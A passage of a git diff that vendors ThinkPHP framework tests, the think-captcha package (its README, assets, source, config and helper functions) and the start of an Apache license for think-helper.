"bar"); + + $this->assertTrue($root->hasChild("sess_{$id}")); + + $this->assertEquals("bar", $handler->read($id)); + + $handler->delete($id); + + $this->assertFalse($root->hasChild("sess_{$id}")); + } + + public function testCacheHandler() + { + $id = md5(uniqid()); + + $cache = m::mock(\think\Cache::class); + + $store = m::mock(Driver::class); + + $cache->shouldReceive('store')->once()->with('redis')->andReturn($store); + + $handler = new Cache($cache, ['store' => 'redis']); + + $store->shouldReceive("set")->with($id, "bar", 1440)->once()->andReturnTrue(); + $handler->write($id, "bar"); + + $store->shouldReceive("get")->with($id)->once()->andReturn("bar"); + $this->assertEquals("bar", $handler->read($id)); + + $store->shouldReceive("delete")->with($id)->once()->andReturnTrue(); + $handler->delete($id); + } +} + +class TestFileHandle extends File +{ + protected function writeFile($path, $content): bool + { + return (bool) file_put_contents($path, $content); + } +} diff --git a/vendor/topthink/framework/tests/ViewTest.php b/vendor/topthink/framework/tests/ViewTest.php new file mode 100644 index 0000000..e413510 --- /dev/null +++ b/vendor/topthink/framework/tests/ViewTest.php @@ -0,0 +1,127 @@ +app = m::mock(App::class)->makePartial(); + Container::setInstance($this->app); + + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->config = m::mock(Config::class)->makePartial(); + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + + $this->view = new View($this->app); + } + + public function testAssignData() + { + $this->view->assign('foo', 'bar'); + $this->view->assign(['baz' => 'boom']); + $this->view->qux = "corge"; + + $this->assertEquals('bar', $this->view->foo); + $this->assertEquals('boom', $this->view->baz); + $this->assertEquals('corge', $this->view->qux); + $this->assertTrue(isset($this->view->qux)); + } + + public function testRender() + { + $this->config->shouldReceive("get")->with("view.type", 'php')->andReturn(TestTemplate::class); + + $this->view->filter(function ($content) { + return $content; + }); + + $this->assertEquals("fetch", $this->view->fetch('foo')); + $this->assertEquals("display", $this->view->display('foo')); + } + +} + +class TestTemplate implements TemplateHandlerInterface +{ + + /** + * 检测是否存在模板文件 + * @access public + * @param string $template 模板文件或者模板规则 + * @return bool + */ + public function exists(string $template): bool + { + return true; + } + + /** + * 渲染模板文件 + * @access public + * @param string $template 模板文件 + * @param array $data 模板变量 + * @return void + */ + public function fetch(string $template, array $data = []): void + { + echo "fetch"; + } + + /** + * 渲染模板内容 + * @access public + * @param string $content 模板内容 + * @param array $data 模板变量 + * @return void + */ + public function display(string $content, array $data = []): void + { + echo "display"; + } + + /** + * 配置模板引擎 + * @access private + * @param array $config 参数 + * @return void + */ + public function config(array $config): void + { + // TODO: Implement config() method. + } + + /** + * 获取模板引擎配置 + * @access public + * @param string $name 参数名 + * @return void + */ + public function getConfig(string $name) + { + // TODO: Implement getConfig() method. + } +} diff --git a/vendor/topthink/framework/tests/bootstrap.php b/vendor/topthink/framework/tests/bootstrap.php new file mode 100644 index 0000000..3459061 --- /dev/null +++ b/vendor/topthink/framework/tests/bootstrap.php @@ -0,0 +1,3 @@ + composer require topthink/think-captcha + + + +## 使用 + +### 在控制器中输出验证码 + +在控制器的操作方法中使用 + +~~~ +public function captcha($id = '') +{ + return captcha($id); +} +~~~ +然后注册对应的路由来输出验证码 + + +### 模板里输出验证码 + +首先要在你应用的路由定义文件中,注册一个验证码路由规则。 + +~~~ +\think\facade\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index"); +~~~ + +然后就可以在模板文件中使用 +~~~ +
    {:captcha_img()}
    +~~~ +或者 +~~~ +
    captcha
    +~~~ +> 上面两种的最终效果是一样的 + + +### 控制器里验证 + +使用TP的内置验证功能即可 +~~~ +$this->validate($data,[ + 'captcha|验证码'=>'require|captcha' +]); +~~~ +或者手动验证 +~~~ +if(!captcha_check($captcha)){ + //验证失败 +}; +~~~ \ No newline at end of file diff --git a/vendor/topthink/think-captcha/assets/bgs/1.jpg b/vendor/topthink/think-captcha/assets/bgs/1.jpg new file mode 100644 index 0000000..d417136 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/1.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/2.jpg b/vendor/topthink/think-captcha/assets/bgs/2.jpg new file mode 100644 index 0000000..56640bd Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/2.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/3.jpg b/vendor/topthink/think-captcha/assets/bgs/3.jpg new file mode 100644 index 0000000..83e5bd9 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/3.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/4.jpg b/vendor/topthink/think-captcha/assets/bgs/4.jpg new file mode 100644 index 0000000..97a3721 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/4.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/5.jpg b/vendor/topthink/think-captcha/assets/bgs/5.jpg new file mode 100644 index 0000000..220a17a Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/5.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/6.jpg b/vendor/topthink/think-captcha/assets/bgs/6.jpg new file mode 100644 index 0000000..be53ea0 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/6.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/7.jpg b/vendor/topthink/think-captcha/assets/bgs/7.jpg new file mode 100644 index 0000000..fbf537f Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/7.jpg differ diff --git a/vendor/topthink/think-captcha/assets/bgs/8.jpg b/vendor/topthink/think-captcha/assets/bgs/8.jpg new file mode 100644 index 0000000..e10cf28 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/bgs/8.jpg differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/1.ttf b/vendor/topthink/think-captcha/assets/ttfs/1.ttf new file mode 100644 index 0000000..9eae6f2 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/1.ttf differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/2.ttf b/vendor/topthink/think-captcha/assets/ttfs/2.ttf new file mode 100644 index 0000000..6386c6b Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/2.ttf differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/3.ttf b/vendor/topthink/think-captcha/assets/ttfs/3.ttf new file mode 100644 index 0000000..678a491 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/3.ttf differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/4.ttf b/vendor/topthink/think-captcha/assets/ttfs/4.ttf new file mode 100644 index 0000000..db43334 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/4.ttf differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/5.ttf b/vendor/topthink/think-captcha/assets/ttfs/5.ttf new file mode 100644 index 0000000..8c082c8 Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/5.ttf differ diff --git a/vendor/topthink/think-captcha/assets/ttfs/6.ttf b/vendor/topthink/think-captcha/assets/ttfs/6.ttf new file mode 100644 index 0000000..45a038b Binary files /dev/null and b/vendor/topthink/think-captcha/assets/ttfs/6.ttf differ diff --git a/vendor/topthink/think-captcha/assets/zhttfs/1.ttf b/vendor/topthink/think-captcha/assets/zhttfs/1.ttf new file mode 100644 index 0000000..1c14f7f Binary files /dev/null and b/vendor/topthink/think-captcha/assets/zhttfs/1.ttf differ diff --git a/vendor/topthink/think-captcha/composer.json b/vendor/topthink/think-captcha/composer.json new file mode 100644 index 0000000..e598819 --- /dev/null +++ b/vendor/topthink/think-captcha/composer.json @@ -0,0 +1,32 @@ +{ + "name": "topthink/think-captcha", + "description": "captcha package for thinkphp", + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "license": "Apache-2.0", + "require": { + "topthink/framework": "^6.0.0" + }, + "autoload": { + "psr-4": { + "think\\captcha\\": "src/" + }, + "files": [ + "src/helper.php" + ] + }, + "extra": { + "think": { + "services": [ + "think\\captcha\\CaptchaService" + ], + "config":{ + "captcha": "src/config.php" + } + } + } +} diff --git a/vendor/topthink/think-captcha/src/Captcha.php b/vendor/topthink/think-captcha/src/Captcha.php new file mode 100644 index 0000000..0789087 --- /dev/null +++ b/vendor/topthink/think-captcha/src/Captcha.php @@ -0,0 +1,340 @@ + +// +---------------------------------------------------------------------- + +namespace think\captcha; + +use Exception; +use think\Config; +use think\Response; +use think\Session; + +class Captcha +{ + private $im = null; // 验证码图片实例 + private $color = null; // 验证码字体颜色 + + /** + * @var Config|null + */ + private $config = null; + + /** + * @var Session|null + */ + private $session = null; + + // 验证码字符集合 + protected $codeSet = '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY'; + // 验证码过期时间(s) + protected $expire = 1800; + // 使用中文验证码 + protected $useZh = false; + // 中文验证码字符串 + protected $zhSet = '们以我到他会作时要动国产的一是工就年阶义发成部民可出能方进在了不和有大这主中人上为来分生对于学下级地个用同行面说种过命度革而多子后自社加小机也经力线本电高量长党得实家定深法表着水理化争现所二起政三好十战无农使性前等反体合斗路图把结第里正新开论之物从当两些还天资事队批点育重其思与间内去因件日利相由压员气业代全组数果期导平各基或月毛然如应形想制心样干都向变关问比展那它最及外没看治提五解系林者米群头意只明四道马认次文通但条较克又公孔领军流入接席位情运器并飞原油放立题质指建区验活众很教决特此常石强极土少已根共直团统式转别造切九你取西持总料连任志观调七么山程百报更见必真保热委手改管处己将修支识病象几先老光专什六型具示复安带每东增则完风回南广劳轮科北打积车计给节做务被整联步类集号列温装即毫知轴研单色坚据速防史拉世设达尔场织历花受求传口断况采精金界品判参层止边清至万确究书术状厂须离再目海交权且儿青才证低越际八试规斯近注办布门铁需走议县兵固除般引齿千胜细影济白格效置推空配刀叶率述今选养德话查差半敌始片施响收华觉备名红续均药标记难存测士身紧液派准斤角降维板许破述技消底床田势端感往神便贺村构照容非搞亚磨族火段算适讲按值美态黄易彪服早班麦削信排台声该击素张密害侯草何树肥继右属市严径螺检左页抗苏显苦英快称坏移约巴材省黑武培著河帝仅针怎植京助升王眼她抓含苗副杂普谈围食射源例致酸旧却充足短划剂宣环落首尺波承粉践府鱼随考刻靠够满夫失包住促枝局菌杆周护岩师举曲春元超负砂封换太模贫减阳扬江析亩木言球朝医校古呢稻宋听唯输滑站另卫字鼓刚写刘微略范供阿块某功套友限项余倒卷创律雨让骨远帮初皮播优占死毒圈伟季训控激找叫云互跟裂粮粒母练塞钢顶策双留误础吸阻故寸盾晚丝女散焊功株亲院冷彻弹错散商视艺灭版烈零室轻血倍缺厘泵察绝富城冲喷壤简否柱李望盘磁雄似困巩益洲脱投送奴侧润盖挥距触星松送获兴独官混纪依未突架宽冬章湿偏纹吃执阀矿寨责熟稳夺硬价努翻奇甲预职评读背协损棉侵灰虽矛厚罗泥辟告卵箱掌氧恩爱停曾溶营终纲孟钱待尽俄缩沙退陈讨奋械载胞幼哪剥迫旋征槽倒握担仍呀鲜吧卡粗介钻逐弱脚怕盐末阴丰雾冠丙街莱贝辐肠付吉渗瑞惊顿挤秒悬姆烂森糖圣凹陶词迟蚕亿矩康遵牧遭幅园腔订香肉弟屋敏恢忘编印蜂急拿扩伤飞露核缘游振操央伍域甚迅辉异序免纸夜乡久隶缸夹念兰映沟乙吗儒杀汽磷艰晶插埃燃欢铁补咱芽永瓦倾阵碳演威附牙芽永瓦斜灌欧献顺猪洋腐请透司危括脉宜笑若尾束壮暴企菜穗楚汉愈绿拖牛份染既秋遍锻玉夏疗尖殖井费州访吹荣铜沿替滚客召旱悟刺脑措贯藏敢令隙炉壳硫煤迎铸粘探临薄旬善福纵择礼愿伏残雷延烟句纯渐耕跑泽慢栽鲁赤繁境潮横掉锥希池败船假亮谓托伙哲怀割摆贡呈劲财仪沉炼麻罪祖息车穿货销齐鼠抽画饲龙库守筑房歌寒喜哥洗蚀废纳腹乎录镜妇恶脂庄擦险赞钟摇典柄辩竹谷卖乱虚桥奥伯赶垂途额壁网截野遗静谋弄挂课镇妄盛耐援扎虑键归符庆聚绕摩忙舞遇索顾胶羊湖钉仁音迹碎伸灯避泛亡答勇频皇柳哈揭甘诺概宪浓岛袭谁洪谢炮浇斑讯懂灵蛋闭孩释乳巨徒私银伊景坦累匀霉杜乐勒隔弯绩招绍胡呼痛峰零柴簧午跳居尚丁秦稍追梁折耗碱殊岗挖氏刃剧堆赫荷胸衡勤膜篇登驻案刊秧缓凸役剪川雪链渔啦脸户洛孢勃盟买杨宗焦赛旗滤硅炭股坐蒸凝竟陷枪黎救冒暗洞犯筒您宋弧爆谬涂味津臂障褐陆啊健尊豆拔莫抵桑坡缝警挑污冰柬嘴啥饭塑寄赵喊垫丹渡耳刨虎笔稀昆浪萨茶滴浅拥穴覆伦娘吨浸袖珠雌妈紫戏塔锤震岁貌洁剖牢锋疑霸闪埔猛诉刷狠忽灾闹乔唐漏闻沈熔氯荒茎男凡抢像浆旁玻亦忠唱蒙予纷捕锁尤乘乌智淡允叛畜俘摸锈扫毕璃宝芯爷鉴秘净蒋钙肩腾枯抛轨堂拌爸循诱祝励肯酒绳穷塘燥泡袋朗喂铝软渠颗惯贸粪综墙趋彼届墨碍启逆卸航衣孙龄岭骗休借'; + // 使用背景图片 + protected $useImgBg = false; + // 验证码字体大小(px) + protected $fontSize = 25; + // 是否画混淆曲线 + protected $useCurve = true; + // 是否添加杂点 + protected $useNoise = true; + // 验证码图片高度 + protected $imageH = 0; + // 验证码图片宽度 + protected $imageW = 0; + // 验证码位数 + protected $length = 5; + // 验证码字体,不设置随机获取 + protected $fontttf = ''; + // 背景颜色 + protected $bg = [243, 251, 254]; + //算术验证码 + protected $math = false; + + /** + * 架构方法 设置参数 + * @access public + * @param Config $config + * @param Session $session + */ + public function __construct(Config $config, Session $session) + { + $this->config = $config; + $this->session = $session; + } + + /** + * 配置验证码 + * @param string|null $config + */ + protected function configure(string $config = null): void + { + if (is_null($config)) { + $config = $this->config->get('captcha', []); + } else { + $config = $this->config->get('captcha.' . $config, []); + } + + foreach ($config as $key => $val) { + if (property_exists($this, $key)) { + $this->{$key} = $val; + } + } + } + + /** + * 创建验证码 + * @return array + * @throws Exception + */ + protected function generate(): array + { + $bag = ''; + + if ($this->math) { + $this->useZh = false; + $this->length = 5; + + $x = random_int(10, 30); + $y = random_int(1, 9); + $bag = "{$x} + {$y} = "; + $key = $x + $y; + $key .= ''; + } else { + if ($this->useZh) { + $characters = preg_split('/(?zhSet); + } else { + $characters = str_split($this->codeSet); + } + + for ($i = 0; $i < $this->length; $i++) { + $bag .= $characters[rand(0, count($characters) - 1)]; + } + + $key = mb_strtolower($bag, 'UTF-8'); + } + + $hash = password_hash($key, PASSWORD_BCRYPT, ['cost' => 10]); + + $this->session->set('captcha', [ + 'key' => $hash, + ]); + + return [ + 'value' => $bag, + 'key' => $hash, + ]; + } + + /** + * 验证验证码是否正确 + * @access public + * @param string $code 用户验证码 + * @return bool 用户验证码是否正确 + */ + public function check(string $code): bool + { + if (!$this->session->has('captcha')) { + return false; + } + + $key = $this->session->get('captcha.key'); + + $code = mb_strtolower($code, 'UTF-8'); + + $res = password_verify($code, $key); + + if ($res) { + $this->session->delete('captcha'); + } + + return $res; + } + + /** + * 输出验证码并把验证码的值保存的session中 + * @access public + * @param null|string $config + * @param bool $api + * @return Response + */ + public function create(string $config = null, bool $api = false): Response + { + $this->configure($config); + + $generator = $this->generate(); + + // 图片宽(px) + $this->imageW || $this->imageW = $this->length * $this->fontSize * 1.5 + $this->length * $this->fontSize / 2; + // 图片高(px) + $this->imageH || $this->imageH = $this->fontSize * 2.5; + // 建立一幅 $this->imageW x $this->imageH 的图像 + $this->im = imagecreate($this->imageW, $this->imageH); + // 设置背景 + imagecolorallocate($this->im, $this->bg[0], $this->bg[1], $this->bg[2]); + + // 验证码字体随机颜色 + $this->color = imagecolorallocate($this->im, mt_rand(1, 150), mt_rand(1, 150), mt_rand(1, 150)); + + // 验证码使用随机字体 + $ttfPath = __DIR__ . '/../assets/' . ($this->useZh ? 'zhttfs' : 'ttfs') . '/'; + + if (empty($this->fontttf)) { + $dir = dir($ttfPath); + $ttfs = []; + while (false !== ($file = $dir->read())) { + if ('.' != $file[0] && substr($file, -4) == '.ttf') { + $ttfs[] = $file; + } + } + $dir->close(); + $this->fontttf = $ttfs[array_rand($ttfs)]; + } + + $fontttf = $ttfPath . $this->fontttf; + + if ($this->useImgBg) { + $this->background(); + } + + if ($this->useNoise) { + // 绘杂点 + $this->writeNoise(); + } + if ($this->useCurve) { + // 绘干扰线 + $this->writeCurve(); + } + + // 绘验证码 + $text = $this->useZh ? preg_split('/(? $char) { + + $x = $this->fontSize * ($index + 1) * mt_rand(1.2, 1.6) * ($this->math ? 1 : 1.5); + $y = $this->fontSize + mt_rand(10, 20); + $angle = $this->math ? 0 : mt_rand(-40, 40); + + imagettftext($this->im, $this->fontSize, $angle, $x, $y, $this->color, $fontttf, $char); + } + + ob_start(); + // 输出图像 + imagepng($this->im); + $content = ob_get_clean(); + imagedestroy($this->im); + + return response($content, 200, ['Content-Length' => strlen($content)])->contentType('image/png'); + } + + /** + * 画一条由两条连在一起构成的随机正弦函数曲线作干扰线(你可以改成更帅的曲线函数) + * + * 高中的数学公式咋都忘了涅,写出来 + * 正弦型函数解析式:y=Asin(ωx+φ)+b + * 各常数值对函数图像的影响: + * A:决定峰值(即纵向拉伸压缩的倍数) + * b:表示波形在Y轴的位置关系或纵向移动距离(上加下减) + * φ:决定波形与X轴位置关系或横向移动距离(左加右减) + * ω:决定周期(最小正周期T=2π/∣ω∣) + * + */ + protected function writeCurve(): void + { + $px = $py = 0; + + // 曲线前部分 + $A = mt_rand(1, $this->imageH / 2); // 振幅 + $b = mt_rand(-$this->imageH / 4, $this->imageH / 4); // Y轴方向偏移量 + $f = mt_rand(-$this->imageH / 4, $this->imageH / 4); // X轴方向偏移量 + $T = mt_rand($this->imageH, $this->imageW * 2); // 周期 + $w = (2 * M_PI) / $T; + + $px1 = 0; // 曲线横坐标起始位置 + $px2 = mt_rand($this->imageW / 2, $this->imageW * 0.8); // 曲线横坐标结束位置 + + for ($px = $px1; $px <= $px2; $px = $px + 1) { + if (0 != $w) { + $py = $A * sin($w * $px + $f) + $b + $this->imageH / 2; // y = Asin(ωx+φ) + b + $i = (int) ($this->fontSize / 5); + while ($i > 0) { + imagesetpixel($this->im, $px + $i, $py + $i, $this->color); // 这里(while)循环画像素点比imagettftext和imagestring用字体大小一次画出(不用这while循环)性能要好很多 + $i--; + } + } + } + + // 曲线后部分 + $A = mt_rand(1, $this->imageH / 2); // 振幅 + $f = mt_rand(-$this->imageH / 4, $this->imageH / 4); // X轴方向偏移量 + $T = mt_rand($this->imageH, $this->imageW * 2); // 周期 + $w = (2 * M_PI) / $T; + $b = $py - $A * sin($w * $px + $f) - $this->imageH / 2; + $px1 = $px2; + $px2 = $this->imageW; + + for ($px = $px1; $px <= $px2; $px = $px + 1) { + if (0 != $w) { + $py = $A * sin($w * $px + $f) + $b + $this->imageH / 2; // y = Asin(ωx+φ) + b + $i = (int) ($this->fontSize / 5); + while ($i > 0) { + imagesetpixel($this->im, $px + $i, $py + $i, $this->color); + $i--; + } + } + } + } + + /** + * 画杂点 + * 往图片上写不同颜色的字母或数字 + */ + protected function writeNoise(): void + { + $codeSet = '2345678abcdefhijkmnpqrstuvwxyz'; + for ($i = 0; $i < 10; $i++) { + //杂点颜色 + $noiseColor = imagecolorallocate($this->im, mt_rand(150, 225), mt_rand(150, 225), mt_rand(150, 225)); + for ($j = 0; $j < 5; $j++) { + // 绘杂点 + imagestring($this->im, 5, mt_rand(-10, $this->imageW), mt_rand(-10, $this->imageH), $codeSet[mt_rand(0, 29)], $noiseColor); + } + } + } + + /** + * 绘制背景图片 + * 注:如果验证码输出图片比较大,将占用比较多的系统资源 + */ + protected function background(): void + { + $path = __DIR__ . '/../assets/bgs/'; + $dir = dir($path); + + $bgs = []; + while (false !== ($file = $dir->read())) { + if ('.' != $file[0] && substr($file, -4) == '.jpg') { + $bgs[] = $path . $file; + } + } + $dir->close(); + + $gb = $bgs[array_rand($bgs)]; + + list($width, $height) = @getimagesize($gb); + // Resample + $bgImage = @imagecreatefromjpeg($gb); + @imagecopyresampled($this->im, $bgImage, 0, 0, 0, 0, $this->imageW, $this->imageH, $width, $height); + @imagedestroy($bgImage); + } + +} diff --git a/vendor/topthink/think-captcha/src/CaptchaController.php b/vendor/topthink/think-captcha/src/CaptchaController.php new file mode 100644 index 0000000..2c3cf59 --- /dev/null +++ b/vendor/topthink/think-captcha/src/CaptchaController.php @@ -0,0 +1,20 @@ + +// +---------------------------------------------------------------------- + +namespace think\captcha; + +class CaptchaController +{ + public function index(Captcha $captcha, $config = null) + { + return $captcha->create($config); + } +} diff --git a/vendor/topthink/think-captcha/src/CaptchaService.php b/vendor/topthink/think-captcha/src/CaptchaService.php new file mode 100644 index 0000000..1848858 --- /dev/null +++ b/vendor/topthink/think-captcha/src/CaptchaService.php @@ -0,0 +1,23 @@ +extend('captcha', function ($value) { + return captcha_check($value); + }, ':attribute错误!'); + }); + + $this->registerRoutes(function (Route $route) { + $route->get('captcha/[:config]', "\\think\\captcha\\CaptchaController@index"); + }); + } +} diff --git a/vendor/topthink/think-captcha/src/config.php b/vendor/topthink/think-captcha/src/config.php new file mode 100644 index 0000000..9bbf529 --- /dev/null +++ b/vendor/topthink/think-captcha/src/config.php @@ -0,0 +1,39 @@ + 5, + // 验证码字符集合 + 'codeSet' => '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY', + // 验证码过期时间 + 'expire' => 1800, + // 是否使用中文验证码 + 'useZh' => false, + // 是否使用算术验证码 + 'math' => false, + // 是否使用背景图 + 'useImgBg' => false, + //验证码字符大小 + 'fontSize' => 25, + // 是否使用混淆曲线 + 'useCurve' => true, + //是否添加杂点 + 'useNoise' => true, + // 验证码字体 不设置则随机 + 'fontttf' => '', + //背景颜色 + 'bg' => [243, 251, 254], + // 验证码图片高度 + 'imageH' => 0, + // 验证码图片宽度 + 'imageW' => 0, + + // 添加额外的验证码设置 + // verify => [ + // 'length'=>4, + // ... + //], +]; diff --git a/vendor/topthink/think-captcha/src/facade/Captcha.php b/vendor/topthink/think-captcha/src/facade/Captcha.php new file mode 100644 index 0000000..cd9f793 --- /dev/null +++ b/vendor/topthink/think-captcha/src/facade/Captcha.php @@ -0,0 +1,18 @@ + +// +---------------------------------------------------------------------- + +use think\captcha\facade\Captcha; +use think\facade\Route; +use think\Response; + +/** + * @param string $config + * @return \think\Response + */ +function captcha($config = null): Response +{ + return Captcha::create($config); +} + +/** + * @param $config + * @return string + */ +function captcha_src($config = null): string +{ + return Route::buildUrl('/captcha' . ($config ? "/{$config}" : '')); +} + +/** + * @param $id + * @return string + */ +function captcha_img($id = '', $domid = ''): string +{ + $src = captcha_src($id); + + $domid = empty($domid) ? $domid : "id='" . $domid . "'"; + + return "captcha"; +} + +/** + * @param string $value + * @return bool + */ +function captcha_check($value) +{ + return Captcha::check($value); +} diff --git a/vendor/topthink/think-helper/.gitignore b/vendor/topthink/think-helper/.gitignore new file mode 100644 index 0000000..d851bdb --- /dev/null +++ b/vendor/topthink/think-helper/.gitignore @@ -0,0 +1,3 @@ +/vendor/ +/.idea/ +composer.lock \ No newline at end of file diff --git a/vendor/topthink/think-helper/LICENSE b/vendor/topthink/think-helper/LICENSE new file mode 100644 index 0000000..8dada3e --- /dev/null +++ b/vendor/topthink/think-helper/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification 